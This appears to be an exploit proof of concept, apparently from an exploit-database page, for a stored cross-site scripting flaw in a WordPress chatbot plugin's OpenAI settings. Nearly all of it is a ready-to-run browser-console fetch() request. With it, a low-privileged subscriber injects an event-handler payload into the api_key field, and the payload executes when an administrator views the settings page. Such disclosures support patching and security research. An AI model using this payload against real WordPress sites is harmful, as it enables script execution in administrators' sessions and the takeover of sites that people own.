Share
## https://sploitus.com/exploit?id=WPEX-ID:C88B22BA-4FC2-49AD-A457-224157521BAD
Run the below command in the developer console of the web browser while being on the blog as subscriber user

fetch("/wp-admin/admin-ajax.php", {
  "headers": {
    "content-type": "application/x-www-form-urlencoded",
  },
  "method": "POST",
  "body": 'action=openai_settings_option&api_key=" style=animation-name:rotation onanimationstart=alert(/XSS/)//',
  "credentials": "include"
}).then(response => response.text())
  .then(data => console.log(data));

The XSS will be trigged when an admin view the OpenAI Settings (/wp-admin/admin.php?page=wpbot_openAi)